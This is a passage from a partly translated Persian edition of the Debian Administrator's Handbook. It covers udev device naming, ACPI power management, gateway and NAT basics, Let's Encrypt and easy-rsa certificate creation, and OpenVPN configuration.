$minor یا %m: شماره مینور کرنل برای دستگاه؛

$result یا %c: رشته خروجی آخرین برنامه‌ای که توسط PROGRAM فراخوانی شده است؛

و در نهایت، %% و $$ برای علامت‌های درصد و دلار.

فهرست بالا کامل نیست (تنها شامل مهم‌ترین پارامترها است)، اما صفحه راهنمای udev(7) تمام پارامترها را شامل می‌شود.

9.11.4. یک مثال کامل

بیایید یک حافظه جانبی USB را در نظر بگیریم که می‌خواهیم نامی ثابت برایش ایجاد کنیم. ابتدا، باید شیوه‌ای برای شناسایی منحصربفرد آن بیابید. به این منظور، دستگاه را متصل کرده و دستور udevadm info -a -n /dev/sdc را اجرا کنید (/dev/sdc را با نام انتسابی به دستگاه جایگزین کنید).

# udevadm info -a -n /dev/sdc [...] looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc': KERNEL=="sdc" SUBSYSTEM=="block" DRIVER=="" ATTR{hidden}=="0" ATTR{events}=="media_change" ATTR{ro}=="0" ATTR{discard_alignment}=="0" ATTR{removable}=="1" ATTR{events_async}=="" ATTR{alignment_offset}=="0" ATTR{capability}=="51" ATTR{events_poll_msecs}=="-1" ATTR{stat}==" 130 0 6328 435 0 0 0 0 0 252 252 0 0 0 0" ATTR{size}=="15100224" ATTR{range}=="16" ATTR{ext_range}=="256" ATTR{inflight}==" 0 0" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0': [...] ATTRS{max_sectors}=="240" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1': KERNELS=="2-1" SUBSYSTEMS=="usb" DRIVERS=="usb" ATTRS{bDeviceProtocol}=="00" ATTRS{bNumInterfaces}==" 1" ATTRS{busnum}=="2" ATTRS{quirks}=="0x0" ATTRS{authorized}=="1" ATTRS{ltm_capable}=="no" ATTRS{speed}=="480" ATTRS{product}=="TF10" ATTRS{manufacturer}=="TDK LoR" [...] ATTRS{serial}=="07032998B60AB777" [...]

برای ایجاد یک قانون جدید، می‌توانید از آزمون‌های روی متغیرهای دستگاه استفاده کنید، یا هر یک از دستگاه‌های والد آن. مورد بالا به ما اجازه ایجاد دو قانون به صورت زیر را می‌دهد:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk" KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

زمانی که این قوانین در یک فایل تنظیم شوند، برای نمونه /etc/udev/rules.d/010_local.rules، به سادگی می‌توانید حافظه را جدا کرده و از نو نصب کنید. مشاهده خواهید کرد که /dev/usb_key/disk نشان‌دهنده حافظه USB و /dev/usb_key/part1 نشان‌دهنده اولین پارتیشن آن است.

مطالعه بیشتر اشکال‌زدایی پیکربندی udev

مانند بسیاری فرآیندهای پس‌زمینه، udevd نیز گزارش‌های خود را در /var/log/daemon.log ذخیره می‌کند. اما به صورت پیش‌فرض خیلی خوانا نیستند و برای درک شرایط موجود به کار نمی‌آیند. دستور udevadm control --log-priority=info سطح جزئیات را بالا برده و این مشکل را حل می‌کند. udevadm control --log-priority=err نیز به حالت پیش‌فرض باز می‌گردد.

9.12. مدیریت نیرو؛ پیکربندی پیشرفته و رابط کار با نیرو (ACPI)

موضوع مدیریت نیرو اغلب دردسرساز است. در حقیقت، اینکه رایانه را به حالت تعلیق ببریم مستلزم این است که تمام درایورهای آن بدانند چطور اینکار صورت می‌گیرد و هنگام برخواستن نیز بتوانند دستگاه‌ها را به درستی پبکربندی کنند. متاسفانه، هنوز برخی دستگاه‌ها هستند که در لینوکس به خوبی نمی‌توانند استراحت کنند، چرا که تولیدکنندگان آن‌ها استاندارد اینکار را ارائه نکرده‌اند.

لینوکس از ACPI یا Advanced Configuration and Power Interface پشتیبانی می‌کند - آخرین استاندارد مدیریت نیرو. بسته acpid یک فرآیند پس‌زمینه را شامل می‌شود که مسئول نگهداری از رویدادهای مربوط به مدیریت نیرو است (سوئیچ بین برق و باتری در لپ‌تاپ و از این قبیل) و می‌تواند در پاسخ، دستورات مختلفی را اجرا کند.

آگاه‌باشید کارت‌های گرافیکی و حالت تعلیق

کارت‌های گرافیکی اغلب مقصر اصلی درست کار نکردن حالت تعلیق هستند. در این مورد، بهتر است که آخرین نسخه سرور گرافیکی X.org را بررسی کنید.

پس از بررسی سرویس‌های پایه که در بسیاری سیستم‌های یونیکس متداول هستند، روی محیط رایانه‌‌های مدیریت شده تمرکز می‌کنیم: یعنی شبکه. بسیاری سرویس‌ها برای عملکرد صحیح نیازمند شبکه هستند. در فصل بعد به بررسی آن‌ها می‌پردازیم.

فصل 10. زیرساخت شبکه

لینوکس از میراث شبکه یونیکس پشتیبانی می‌کند و دبیان مجموعه کاملی از ابزارها را برای ایجاد و مدیریت آن فراهم می‌آورد. این فصل به بررسی این ابزار می‌پردازد.

10.1. Gateway

یک gateway رایانه‌ای است که چندین شبکه را به یکدیگر متصل می‌کند. این عبارت اغلب به “نقطه خروجی” یک شبکه محلی به تمام نشانی‌های IP ضروری حارجی اشاره دارد. gateway به هر کدام از شبکه‌هایی که پیوند می‌دهد، متصل است و به عنوان یک مسیریاب کار تبدیل بسته‌های IP را بر عهده دارد.

بازگشت به مقدمات بسته IP

امروزه اکثر شبکه‌ها از پروتکل IP یا Internet Protocol استفاده می‌کنند. این پروتکل داده انتقالی را به بسته‌هایی با اندازه کوچک تبدیل می‌کند. هر بسته علاوه بر داده مذکور، شامل جزئیاتی برای مسیریابی صحیح خود می‌باشد.

بازگشت به مقدمات TCP/UDP

بسیاری برنامه‌ها خود به مدیریت بسته‌ها نمی‌پردازند، با اینکه داده انتقالی آن‌‌ها از طریق IP منتقل می‌شود؛ آن‌ها اغلب از TCP یا Transmission Control Protocol استفاده می‌کنند. TCP لایه‌ای بر فراز IP است که امکان برقراری ارتباط برای جریان داده‌ای بین دو نقطه را برقرار می‌کند. برنامه‌ها تنها یک نقطه ورودی برای ارسال داده‌ها می‌دانند که ضمانت از بین نرفتن داده را دارد و به همان ترتیب که فرستاده می‌شود در نقطه خروجی نیز دریافت می‌گردد. با اینکه انواع گوناگونی از خطا در لایه‌های پایینی ممکن است اتفاق بیفتد، توسط TCP جبران می‌شوند: بسته‌های گم شده دوباره ارسال می‌گردند و بسته‌هایی که خارج از ترتیب دریافت می‌شوند (برای نمونه، اگر از مسیرهای مختلف استفاده کرده باشند) به صورت مناسبی شماره‌گذاری مجدد می‌شوند.

پروتکل دیگری که به IP وابسته است UDP یا User Datagram Protocol نام دارد. بر خلاف TCP، مبتنی بر بسته و اهداف این پروتکل متفاوت است: هدف UDP تنها انتقال یک بسته از یک برنامه به دیگری است. پروتکل نه تنها جبران بسته‌های گم شده در مسیر را نمی‌کند بلکه در رابطه با ترتیب ارسال و دریافت آن‌ها نیز کاری انجام نمی‌دهد. مزیت اصلی آن در این است که تاخیر به میزان کمی وجود دارد، از آنجا که گم شدن یک بسته منجر به تاخیر در کل فرآیند ارسال مجدد آن نمی‌گردد.

TCP و UDP هر دو شامل درگاه هستند، که در حقیقت “شماره‌های اضافی” برای برقراری ارتباط با یک برنامه روی یک رایانه هستند. این مفهوم امکان برقراری چند ارتباط هم‌زمان با یک مخاطب را فراهم می‌سازد، از آنجا که این ارتباطات از طریق شماره درگاه قابل شناسایی هستند.

Some of these port numbers — standardized by the IANA (Internet Assigned Numbers Authority) — are “well-known” for being associated with network services. For instance, TCP port 25 is generally used by the email server.

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

زمانی که یک شبکه محلی از یک بازه نشانی خصوصی (که به اینترنت مسیریابی نمی‌شوند) استفاده می‌کند، gateway نیاز به پیاده‌سازی address masquerading دارد تا رایانه‌های داخل شبکه بتوانند با دنیای خارج ارتباط برقرار کنند. عملیات ماسک‌گذاری نوعی پروکسی در شبکه به حساب می‌آیند: هر ارتباط خارجی از یک رایانه داخلی توسط نشانی gateway جایگزین می‌شود (چرا که gateway خود یک نشانی خارجی و قابل‌مسیریابی دارد)، داده‌ای که از طریق ارتباط ماسک‌گذاری شده عبور می‌کند نیز به این ارتباط ارسال می‌شود و داده‌ی بازگشتی نیز به ترتیب عکس به رایانه داخلی فرستاده می‌شود. gateway از بازه درگاه‌های اختصاصی TCP به این منظور استفاده می‌کند، معمولا با اعداد خیلی بالا (بیش از ۶۰۰۰۰). هر ارتباطی ارسالی از رایانه‌های داخلی به مانند یک ارتباط حارجی با استفاده از این درگاه‌های رزرو شده نمایش می‌یابد.

فرهنگ بازه خصوصی نشانی

RFC 1918 سه بازه اختصاصی برای نشانی‌های IPv4 تعریف می‌کند که در اینترنت قابل مسیریابی نیستند اما می‌توانند در شبکه‌های محلی استفاده شوند. اولی، 10.0.0.0/8 (نوارکناری بازگشت به مقدمات مفاهیم ضروری شبکه (Ethernet, IP address, subnet, broadcast) را مشاهده کنید) یک بازه کلاش A است (با ۲۲۴ نشانی IP). دومی، 172.16.0.0/12 شامل ۱۶ بازه کلاس B است (172.16.0.0/16 تا 172.31.0.0/16) که هر یک شامل ۲۱۶ نشانی IP هستند. سومی، 192.168.0.0/16 یک بازه کلاس B است (که ۲۵۶ بازه کلاس C از 192.168.0.0/24 تا 192.168.255.0/24 را گروه‌بندی می‌کند که هر کدام شامل ۲۵۶ نشانی IP هستند).

→ http://www.faqs.org/rfcs/rfc1918.html

gateway می‌تواند دو نوع NAT یا Network Address Translation اجرا کند. نوع اول، DNAT یا Destination NAT تکنیکی برای تغییر نشانی IP (و/یا درگاه TCP یا UDP) مقصد برای یک ارتباط ورودی است. مکانیزم رهگیری ارتباط نیز بسته‌های موجود را برای تضمین تداوم ارتباط تغییر می‌دهد. نوع دوم، SNAT یا Source NAT است که ماسک‌گذاری یک حالت ویژه آن به حساب می‌آید؛ SNAT تکنیکی برای تغییر نشانی IP (و/یا درگاه TCP یا UDP) مبدا برای یک ارتباط خروجی است. همانند DNAT، تمام بسته‌های موجود از طریق مکانیزم رهگیری ارتباط تغییر داده می‌شوند. نکته اینکه NAT تنها برای نشانی‌های IPv4 و فضای محدود نشانی‌دهی آن کاربرد دارد؛ در IPv6، بازه بسیار گسترده نشانی‌دهی کاربرد NAT را از بین می‌برد چرا که هر نشانی “داخلی” امکان مسیریابی روی اینترنت را دارد (این به معنای در دسترس بودن رایانه‌های داخلی نیست، چرا که فایروال‌های میانی می‌توانند ترافیک را فیلتر کنند).

بازگشت به مقدمات ارسال درگاه

یکی از کاربردهای DNAT ارسال درگاه است. ارتباطات ورودی به یک درگاه مشخص از یک رایانه به یک درگاه در رایانه دیگری ارسال می‌شوند. راهکارهای دیگری نیز برای دستیابی به این هدف وجود دارد، مانند، به خصوص در سطح برنامه‌ای با ssh یا ssh (قسمت قسمت 9.2.1.3, “ایجاد تونل‌های رمزگذاری شده با پورت فورواردینگ” را مشاهده کنید).

مباحث نظری کافی است، بیایید دست بکار شویم. تبیدل یک سیستم دبیان به یک gateway به سادگی فعال‌کردن چند گزینه در کرنل است که از طریق فایل‌سیستم مجازی /proc/ صورت می‌گیرند.

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

این گزینه به صورت خودکار نیز دز زمان راه‌اندازی اولیه می‌تواند فعال شود اگر فایل /etc/sysctl.conf گزینه net.ipv4.conf.default.forwarding را به 1 تنظیم کند.

مثال 10.1. فایل /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1 net.ipv4.conf.default.rp_filter = 1 net.ipv4.tcp_syncookies = 1

این مجموعه عملیات را برای IPv6 نیز می‌توان انجام داد، تنها کافی است ipv4 را با ipv4 جایگزین کنیم یا خط net.ipv6.conf.all.forwarding را در فایل /etc/sysctl.conf قرار دهیم.

فعال‌سازی ماسک‌گذاری IPv4 عملیات کمی پیچیده‌تری است چرا که باید فایروال netfilter را پیکربندی کرد.

به طور مشابه، استفاده از NAT برای IPv4 نیازمند پیکربندی netfilter است. از آنجا که هدف اصلی این قسمت فیلترکردن بسته‌ها است، جزئیات آن در فصل 14: “امنیت” آمده است (قسمت قسمت 14.2, “فایروال یا فیلترینگ بسته” را مشاهده کنید).

10.2. X.509 certificates

Certificates are an important building block of many network services built on cryptographic protocols, when they need some sort of central authentication.

Among those protocols, SSL (Secure Socket Layer) was invented by Netscape to secure connections to web servers. It was later standardized by IETF under the acronym TLS (Transport Layer Security). Since then TLS continued to evolve, and nowadays SSL is deprecated due to multiple design flaws that have been discovered.

The TLS protocol aims primarily to provide privacy and data integrity between two or more communicating computer applications. The most common case on the Internet is the communication between a client (e.g. a web browser) and a server.

A key par is needed for the exchange of information, which involves a public key that includes information about the identity of the owner and matches a private key. The private key must be kept secret, otherwise the security is compromised. However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.

You can implement a CA (as described in قسمت 10.2.2, “زیرساخت کلید عمومی: easy-rsa” ), but if you intend to use the certificate for a website, you need to rely on a trusted CA. The prices vary significantly, but it is possible to implement great security spending little to no money.

10.2.1. Creating gratis trusted certificates

Many programs create and use snakeoil certificates by default (see sidebar امنیت گواهینامه‌های SSL زهر ماری). Fortunately the certbot package brings everything we need to create our own trusted certificates, provided by the "Lets Encrypt" initiative (see sidebar CULTURE The Let's Encrypt Initiative), which can also be used for mail transport agents (Postfix) and mail delivery agents (Dovecot, Cyrus, etc.).

The Falcot administrators just want to create a certificate for their website, which runs on Apache. There is a convenient Apache plugin for certbot that automatically edits the Apache configuration to serve the obtained certificate, so they make use of it:

# apt install python-certbot-apache [...] # certbot --apache Saving debug log to /var/log/letsencrypt/letsencrypt.log Plugins selected: Authenticator apache, Installer apache Enter email address (used for urgent renewal and security notices) (Enter 'c' to cancel): admin@falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Please read the Terms of Service at https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must agree in order to register with the ACME server at https://acme-v02.api.letsencrypt.org/directory - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (A)gree/(C)ancel: A - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Would you be willing to share your email address with the Electronic Frontier Foundation, a founding partner of the Let's Encrypt project and the non-profit organization that develops Certbot? We'd like to send you email about our work encrypting the web, EFF news, campaigns, and ways to support digital freedom. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: N No names were found in your configuration files. Please enter in your domain name(s) (comma and/or space separated) (Enter 'c' to cancel): falcot.com Obtaining a new certificate Performing the following challenges: http-01 challenge for falcot.com Enabled Apache rewrite module Waiting for verification... Cleaning up challenges Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf Enabled Apache socache_shmcb module Enabled Apache ssl module Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1: No redirect - Make no further changes to the webserver configuration. 2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for new sites, or if you're confident your site works on HTTPS. You can undo this change by editing your web server's configuration. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2 Enabled Apache rewrite module Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Congratulations! You have successfully enabled https://falcot.com You should test your configuration at: https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at: /etc/letsencrypt/live/falcot.com/fullchain.pem Your key file has been saved at: /etc/letsencrypt/live/falcot.com/privkey.pem Your cert will expire on 2020-06-04. To obtain a new or tweaked version of this certificate in the future, simply run certbot again with the "certonly" option. To non-interactively renew *all* of your certificates, run "certbot renew" - Your account credentials have been saved in your Certbot configuration directory at /etc/letsencrypt. You should make a secure backup of this folder now. This configuration directory will also contain certificates and private keys obtained by Certbot so making regular backups of this folder is ideal. - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le

CULTURE The Let's Encrypt Initiative

The Let's Encrypt initiative is a joint effort to create a free, automated, and open certificate authority (CA), run for the public's benefit. It is supported by the EFF and the Linux Foundation. The initiative provides an automated tool for acquiring and renewing certificates. This reduces the amount of manual effort involved, especially if multiple sites and domains must be managed. The certificates can also be used for SIP, XMPP, WebSockets and TURN servers. Usage of the service requires control over the DNS information of the domain in question (domain validation).

→ https://letsencrypt.org/how-it-works/

If you would rather keep the server running during the certificate creation, you can use the webroot plugin to get the certificate with the arguments certonly and --webroot. You would have to specify a --webroot-path (abbreviated -w), which should contain the files served. The command looks as follows:

# certbot certonly --webroot -w /var/www/html -d www.DOMAIN.com -d DOMAIN.com

You need to restart all services using the certificates that you have created.

The certificates created are so called short-life certificates, which are valid for 90 days and must therefor be renewed every once in three months using the certbot renew command. However, we shouldn't renew every certificate manually, but automatically. A basic cron job is included by certbot in /etc/cron.d/certbot. To ensure that certificates can be automatically renewed, you can execute certbot renew --dry-run.

10.2.2. زیرساخت کلید عمومی: easy-rsa

It is also possible to create our own CA, for that we will use the RSA algorithm, widely used in public-key cryptography. It involves a “key pair”, comprised of a private and a public key. The two keys are closely linked to each other, and their mathematical properties are such that a message encrypted with the public key can only be decrypted by someone knowing the private key, which ensures confidentiality. In the opposite direction, a message encrypted with the private key can be decrypted by anyone knowing the public key, which allows authenticating the origin of a message since only someone with access to the private key could generate it. When associated with a digital hash function (MD5, SHA1, or a more recent variant), this leads to a signature mechanism that can be applied to any message.

Since public CAs only emit certificates in exchange for a (hefty) fee, it is also possible to create a private certification authority within the company. The easy-rsa package provides tools to serve as an X.509 certification infrastructure, implemented as a set of scripts using the openssl command.

ALTERNATIVE GnuTLS

GnuTLS can also be used to generate a CA, and deal with other technologies around the TLS, DTLS and SSL protocols.

The package gnutls-bin contains the command-line utilities. It is also useful to install the gnutls-doc package, which includes extensive documentation.

مدیرسیستم‌های شرکت فالکوت از این ابزار برای ایجاد گواهینامه‌های مورد نظر در هر دو سمت کلاینت و سرور استفاده می‌کنند. این کار امکان پیکربندی تمام کلاینت‌ها را به صورت مشابهی فراهم می‌آورد چرا که آن‌ها تنها باید به گواهینامه‌های خصوصی در محل شرکت فالکوت اعتماد کنند. این CA اولین گواهینامه موجود است؛ به این منظور، مدیرسیستم‌ها اقدام به ایجاد یک دایرکتوری با فایل‌های مورد نیاز CA می‌کنند، احتمالا روی رایانه‌ای که به شبکه متصل نباشد تا با اینکار امکان لو رفتن کلید خصوصی CA را کاهش دهند.

$ make-cadir pki-falcot $ cd pki-falcot

They then store the required parameters into the vars file, which can be uncommented and edited:

$ vim vars $ grep EASYRSA vars if [ -z "$EASYRSA_CALLER" ]; then # easyrsa. More specific variables for specific files (e.g., EASYRSA_SSL_CONF) #set_var EASYRSA "${0%/*}" #set_var EASYRSA_OPENSSL "openssl" #set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe" #set_var EASYRSA_PKI "$PWD/pki" #set_var EASYRSA_DN "cn_only" #set_var EASYRSA_REQ_COUNTRY "FR" #set_var EASYRSA_REQ_PROVINCE "Loire" #set_var EASYRSA_REQ_CITY "Saint-Étienne" #set_var EASYRSA_REQ_ORG "Falcot Corp" #set_var EASYRSA_REQ_EMAIL "admin@falcot.com" #set_var EASYRSA_REQ_OU "Certificate authority" #set_var EASYRSA_KEY_SIZE 2048 #set_var EASYRSA_ALGO rsa #set_var EASYRSA_CURVE secp384r1 #set_var EASYRSA_CA_EXPIRE 3650 #set_var EASYRSA_CERT_EXPIRE 1080 #set_var EASYRSA_CERT_RENEW 30 #set_var EASYRSA_CRL_DAYS 180 #set_var EASYRSA_NS_SUPPORT "no" #set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate" #set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp" # when undefined here, default behaviour is to look in $EASYRSA_PKI first, then # fallback to $EASYRSA for the 'x509-types' dir. You may override this #set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types" # EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA #set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf" #set_var EASYRSA_REQ_CN "ChangeMe" #set_var EASYRSA_DIGEST "sha256" #set_var EASYRSA_BATCH "" $

Now we prepare the public key infrastructure directory with the following command:

$ ./easyrsa init-pki Note: using Easy-RSA configuration from: ./vars init-pki complete; you may now create a CA or requests. Your newly created PKI dir is: /home/roland/pki-falcot/pki

The next step is the creation of the CA's key pair itself (the two parts of the key pair will be stored under pki/ca.crt and pki/private/ca.key during this step). We can add the option nopass to avoid entering a password each time the private key is used:

$ ./easyrsa build-ca nopass Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019 Generating RSA private key, 2048 bit long modulus (2 primes) ......................................................................................+++++ ......................+++++ e is 65537 (0x010001) You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [Easy-RSA CA]: CA creation complete and you may now import and sign cert requests. Your new CA certificate file for publishing is at: /home/roland/pki-falcot/pki/ca.crt

The certificate can now be created, as well as the Diffie-Hellman parameters required for the server side of an SSL/TLS connection. They want to use it for a VPN server (see section قسمت 10.3, “شبکه خصوصی مجازی” ) that is identified by the DNS name vpn.falcot.com; this name is re-used for the generated key files (keys/vpn.falcot.com.crt for the public certificate, keys/vpn.falcot.com.key for the private key):

$ ./easyrsa gen-req vpn.falcot.com nopass Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019 Generating a RSA private key .................................................................................+++++ ........+++++ writing new private key to '/home/roland/pki-falcot/pki/private/vpn.falcot.com.key.E5c3RGJBUd' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [vpn.falcot.com]: Keypair and certificate request completed. Your files are: req: /home/roland/pki-falcot/pki/reqs/vpn.falcot.com.req key: /home/roland/pki-falcot/pki/private/vpn.falcot.com.key $ ./easyrsa sign-req server vpn.falcot.com Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019 You are about to sign the following certificate. Please check over the details shown below for accuracy. Note that this request has not been cryptographically verified. Please be sure it came from a trusted source or that you have verified the request checksum with the sender. Request subject, to be signed as a server certificate for 1080 days: subject= commonName = vpn.falcot.com Type the word 'yes' to continue, or any other input to abort. Confirm request details: yes Using configuration from /home/roland/pki-falcot/pki/safessl-easyrsa.cnf Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'vpn.falcot.com' Certificate is to be certified until Jun 14 10:44:44 2022 GMT (1080 days) Write out database with 1 new entries Data Base Updated Certificate created at: /home/roland/pki-falcot/pki/issued/vpn.falcot.com.crt $ ./easyrsa gen-dh Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time […] DH parameters of size 2048 created at /home/roland/pki-falcot/pki/dh.pem

گام بعدی گواهینامه‌های مورد نیاز کلاینت‌های VPN را ایجاد می‌کند؛ برای هر رایانه یا فردی که قصد استفاده از VPN را دارد، یک گواهینامه مورد نیاز است:

$ ./easyrsa build-client-full JoeSmith nopass Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1d 10 Sep 2019 Generating a RSA private key .......................................................+++++ ...........................+++++ writing new private key to '/root/pki-falcot/pki/private/JoeSmith.key.Tgr8kk0a6a' ----- Using configuration from /root/pki-falcot/pki/safessl-easyrsa.cnf Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'JoeSmith' Certificate is to be certified until Feb 20 04:52:43 2023 GMT (1080 days) Write out database with 1 new entries Data Base Updated

10.3. شبکه خصوصی مجازی

یک Virtual Private Network یا به اختصار VPN روشی برای پیوند زدن دو شبکه محلی از طریق ایجاد تونل در اینترنت است؛ تونل معمولا برای محرمانگی اطلاعات رمزنگاری می‌شود. از VPN معمولا برای برقراری ارتباط با یک رایانه در شبکه داخلی یک شرکت استفاده می‌شود.

Several tools provide this functionality. OpenVPN is an efficient solution, easy to deploy and maintain, based on SSL/TLS. Another possibility is using IPsec to encrypt IP traffic between two machines; this encryption is transparent, which means that applications running on these hosts need not be modified to take the VPN into account. SSH can also be used to provide a VPN, in addition to its more conventional features. Finally, a VPN can be established using Microsoft's PPTP protocol. Other solutions exist, but are beyond the focus of this book.

10.3.1. OpenVPN

OpenVPN نرم‌افزاری است که برای ایجاد شبکه‌های خصوصی مجازی استفاده می‌شود. راه‌اندازی آن شامل ایجاد رابط‌های شبکه خصوصی روی سرور VPN و کلاینت‌های آن است؛ هر دو رابط tun (برای تونل‌های سطح IP) و tap (برای تونل‌های سطح Ethernet) پشتیبانی می‌شوند. در عمل، رابط‌های tun اغلب مورد استفاده قرار می‌گیرند زمانی که کلاینت‌های VPN قرار باشد درون شبکه محلی سرور با استفاده از پل Ethernet تنظیم گردند.

OpenVPN برای عملیات رمزنگاری SSL/TLS و سایر قابلیت‌ها (محرمانگی، احرازهویت، جامعیت، انکارناپذیری) به OpenSSL وابسته است. امکان پیکربندی آن با استفاده از یک کلید خصوصی اشتراکی یا گواهینامه‌های X.509 مبتنی بر زیرساخت کلید عمومی وجود دارد. شیوه دوم پیکربندی به شدت ارجحیت دارد، چرا که در زمان درخواست سایر کاربران برای دسترسی به VPN، انعطاف‌پذیری بیشتری دارد.

10.3.1.1. پیکربندی سرور OpenVPN

After all certificates have been created (follow the instructions from قسمت 10.2.2, “زیرساخت کلید عمومی: easy-rsa” ), they need to be copied where appropriate: the root certificate's public key (pki/ca.crt) will be stored on all machines (both server and clients) as /etc/ssl/certs/Falcot_CA.crt. The server's certificate is installed only on the server (pki/issued/vpn.falcot.com.crt goes to /etc/ssl/certs/vpn.falcot.com.crt, and pki/private/vpn.falcot.com.key goes to /etc/ssl/private/vpn.falcot.com.key with restricted permissions so that only the administrator can read it), with the corresponding Diffie-Hellman parameters (pki/dh.pem) installed to /etc/openvpn/dh.pem. Client certificates are installed on the corresponding VPN client in a similar fashion.

10.3.1.2. پیکربندی سرور OpenVPN

By default, the OpenVPN initialization script tries starting all virtual private networks defined in /etc/openvpn/*.conf. Setting up a VPN server is therefore a matter of storing a corresponding configuration file in this directory. A good starting point is /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, which leads to a rather standard server. Of course, some parameters need to be adapted: ca, cert, key and dh need to describe the selected locations (respectively, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key and /etc/openvpn/dh.pem). The server 10.8.0.0 255.255.255.0 directive defines the subnet to be used by the VPN; the server uses the first IP address in that range (10.8.0.1) and the rest of the addresses are allocated to clients.

With this configuration, starting OpenVPN creates the virtual network interface, usually under the tun0 name. However, firewalls are often configured at the same time as the real network interfaces, which happens before OpenVPN starts. Good practice therefore recommends creating a persistent virtual network interface, and configuring OpenVPN to use this pre-existing interface. This further allows choosing the name for this interface. To this end, openvpn --mktun --dev vpn --dev-type tun creates a virtual network interface named vpn with type tun; this command can easily be integrated in the firewall configuration script, or in an up directive of the /etc/network/interfaces file, or a udev rule can be added to that end. The OpenVPN configuration file must also be updated accordingly, with the dev vpn and dev-type tun directives.

بدون اقدام دیگری، کلاینت‌های VPN تنها از طریق نشانی 10.8.0.1 می‌توانند به سرور متصل گردند. برای صادر کردن مجوز دسترسی کلاینت‌ها به شبکه محلی (192.168.0.0/24)، نیاز است که عبارت push route 192.168.0.0 255.255.255.0 به فایل پیکربندی OpenVPN اضافه گردد تا کلاینت‌ها به صورت خودکار به شبکه VPN موجود متصل گردند. علاوه بر این، رایانه‌های شبکه محلی نیاز دارند در رابطه با مسیریابی از طریق سرور VPN به آن‌ها اطلاع‌رسانی گردد (زمانی که سرور VPN به gateway متصل باشد این اتفاق می‌افتد). همین طور، سرور VPN می‌تواند به منظور ماسک‌گذاری IP پیکربندی گردد ( قسمت 10.1, “Gateway” را مشاهده کنید).

10.3.1.3. پیکربندی کلاینت OpenVPN

تنظیم یک کلاینت OpenVPN نیز نیازمند ایجاد یک فایل پیکربندی در /etc/openvpn/ است. یک پیکربندی ساده می‌تواند مانند /usr/share/doc/openvpn/examples/sample-config-files/client.conf باشد. عبارت remote vpn.falcot.com 1194 نشانی و درگاه سرور OpenVPN را مشخص می‌کند؛ ca، cert و key برای مشخص‌کردن محل فایل‌های کلید باید تعریف شوند.

